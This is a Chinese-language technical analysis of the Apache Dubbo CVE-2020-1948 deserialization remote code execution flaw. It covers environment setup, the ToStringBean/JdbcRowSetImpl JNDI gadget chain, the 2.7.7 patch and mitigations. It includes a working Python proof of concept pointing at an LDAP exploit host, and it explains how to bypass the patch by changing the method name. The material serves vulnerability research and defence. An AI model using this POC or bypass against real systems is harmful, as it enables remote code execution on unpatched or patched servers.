Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞及其补丁绕过深度分析
字数 1685 2025-08-15 21:31:21

Apache Dubbo CVE-2020-1948 反序列化远程代码执行漏洞深度分析

1. Apache Dubbo 简介

Apache Dubbo 是一个分布式服务框架,致力于提供高性能和透明化的 RPC 远程服务调用方案,以及 SOA 服务治理方案。其核心部分包含:

  • 远程通讯:提供对多种基于长连接的 NIO 框架抽象封装
  • 集群容错:提供基于接口方法的透明远程过程调用
  • 自动发现:基于注册中心目录服务,使服务消费方能动态查找服务提供方

Dubbo 工作流程

  1. Provider:暴露服务方
  2. Consumer:调用远程服务方
  3. Registry:服务注册与发现的中心目录服务
  4. Monitor:统计服务的调用次数和调用时间的日志服务
  5. Container:服务运行容器

2. 漏洞概述

CVE-2020-1948 是一个 Apache Dubbo 的反序列化远程代码执行漏洞,攻击者可以通过构造恶意序列化数据在目标服务器上执行任意代码。

3. 漏洞环境搭建

3.1 注册中心搭建

  1. 下载 Apache ZooKeeper:https://zookeeper.apache.org/releases.html
  2. 修改 /conf/zoo.cfg 配置文件中的 clientPortdataDir
  3. 启动 ZooKeeper

3.2 Dubbo Admin 管理界面搭建

  1. 下载 dubbo-admin:https://github.com/apache/dubbo-admin
  2. 修改 /dubbo-admin-server/src/main/resources/application.properties 中的注册中心地址
  3. 打包并启动服务端:
    mvn package -Dmaven.test.skip=true
    java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar
    
  4. 启动 UI 界面:
    cd dubbo-admin-ui
    npm install
    npm run dev
    
  5. 访问 http://localhost:8081,默认账号密码为 root

4. 漏洞原理分析

4.1 漏洞利用链

漏洞利用链最终通过 JdbcRowSetImpl 调用 JNDI 进行远程代码执行,关键类为 com.rometools.rome.feed.impl.ToStringBean

4.2 POC 分析

from hessian2 import new_object
from client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl = new_object(
    'com.sun.rowset.JdbcRowSetImpl', 
    dataSource="ldap://127.0.0.1:8087/ExploitMac",
    strMatchColumns=["fxx"]
)

JdbcRowSetImplClass = new_object(
    'java.lang.Class', 
    name="com.sun.rowset.JdbcRowSetImpl",
)

toStringBean = new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
    service_name='com.example.provider.service.UesrService',
    method_name='test',
    args=[toStringBean]
)

4.3 漏洞触发流程

  1. 恶意序列化数据通过 Dubbo 协议传输到服务端
  2. 服务端在 org.apache.dubbo.remoting.transport.DecodeHandler 处理请求
  3. 调用 DecodeableRpcInvocation.decode() 方法反序列化数据
  4. 在异常处理过程中,Request 对象调用 toString() 方法
  5. RpcInvocation.toString() 调用 Arrays.toString(arguments)
  6. 触发 ToStringBean.toString() 方法
  7. 通过反射调用 JdbcRowSetImplgetDatabaseMetaData 方法
  8. 触发 JNDI 远程访问 dataSource,导致远程代码执行

5. 补丁分析

5.1 原始漏洞代码

DecodeableRpcInvocation 类的第 131 行有一个 if 判断:

if (!RpcUtils.isGenericCall(desc, getMethodName()) && !RpcUtils.isEcho(desc, getMethodName())) {
    pts = ReflectUtils.desc2classArray(desc);
}

5.2 补丁代码

2.7.7 版本增加了额外的判断:

if (!RpcUtils.isGenericCall(desc, getMethodName()) && !RpcUtils.isEcho(desc, getMethodName())) {
    if (getMethodName().equals($INVOKE) || getMethodName().equals($INVOKE_ASYNC)) {
        throw new IllegalArgumentException("...");
    }
    pts = ReflectUtils.desc2classArray(desc);
}

5.3 补丁绕过方法

补丁通过检查方法名是否为 $INVOKE$INVOKE_ASYNC 来防御攻击。绕过方法:

将 POC 中的 method_name'test' 修改为 '$invoke''$invokeAsync''$echo' 即可绕过补丁。

6. 漏洞总结

该漏洞是序列化传输到后台的数据被反序列化后,在异常处理过程中进行了危险操作(调用 toString() 方法),从而触发了 gadget 链导致远程代码执行。

7. 防御建议

  1. 升级到最新版本的 Apache Dubbo
  2. 限制 Dubbo 服务的网络访问
  3. 监控和过滤可疑的序列化数据
  4. 移除不必要的依赖(如 rome)
Apache Dubbo CVE-2020-1948 反序列化远程代码执行漏洞深度分析 1. Apache Dubbo 简介 Apache Dubbo 是一个分布式服务框架,致力于提供高性能和透明化的 RPC 远程服务调用方案,以及 SOA 服务治理方案。其核心部分包含: 远程通讯 :提供对多种基于长连接的 NIO 框架抽象封装 集群容错 :提供基于接口方法的透明远程过程调用 自动发现 :基于注册中心目录服务,使服务消费方能动态查找服务提供方 Dubbo 工作流程 Provider :暴露服务方 Consumer :调用远程服务方 Registry :服务注册与发现的中心目录服务 Monitor :统计服务的调用次数和调用时间的日志服务 Container :服务运行容器 2. 漏洞概述 CVE-2020-1948 是一个 Apache Dubbo 的反序列化远程代码执行漏洞,攻击者可以通过构造恶意序列化数据在目标服务器上执行任意代码。 3. 漏洞环境搭建 3.1 注册中心搭建 下载 Apache ZooKeeper:https://zookeeper.apache.org/releases.html 修改 /conf/zoo.cfg 配置文件中的 clientPort 和 dataDir 值 启动 ZooKeeper 3.2 Dubbo Admin 管理界面搭建 下载 dubbo-admin:https://github.com/apache/dubbo-admin 修改 /dubbo-admin-server/src/main/resources/application.properties 中的注册中心地址 打包并启动服务端: 启动 UI 界面: 访问 http://localhost:8081,默认账号密码为 root 4. 漏洞原理分析 4.1 漏洞利用链 漏洞利用链最终通过 JdbcRowSetImpl 调用 JNDI 进行远程代码执行,关键类为 com.rometools.rome.feed.impl.ToStringBean 。 4.2 POC 分析 4.3 漏洞触发流程 恶意序列化数据通过 Dubbo 协议传输到服务端 服务端在 org.apache.dubbo.remoting.transport.DecodeHandler 处理请求 调用 DecodeableRpcInvocation.decode() 方法反序列化数据 在异常处理过程中, Request 对象调用 toString() 方法 RpcInvocation.toString() 调用 Arrays.toString(arguments) 触发 ToStringBean.toString() 方法 通过反射调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法 触发 JNDI 远程访问 dataSource ,导致远程代码执行 5. 补丁分析 5.1 原始漏洞代码 在 DecodeableRpcInvocation 类的第 131 行有一个 if 判断: 5.2 补丁代码 2.7.7 版本增加了额外的判断: 5.3 补丁绕过方法 补丁通过检查方法名是否为 $INVOKE 或 $INVOKE_ASYNC 来防御攻击。绕过方法: 将 POC 中的 method_name 从 'test' 修改为 '$invoke' 或 '$invokeAsync' 或 '$echo' 即可绕过补丁。 6. 漏洞总结 该漏洞是序列化传输到后台的数据被反序列化后,在异常处理过程中进行了危险操作(调用 toString() 方法),从而触发了 gadget 链导致远程代码执行。 7. 防御建议 升级到最新版本的 Apache Dubbo 限制 Dubbo 服务的网络访问 监控和过滤可疑的序列化数据 移除不必要的依赖(如 rome)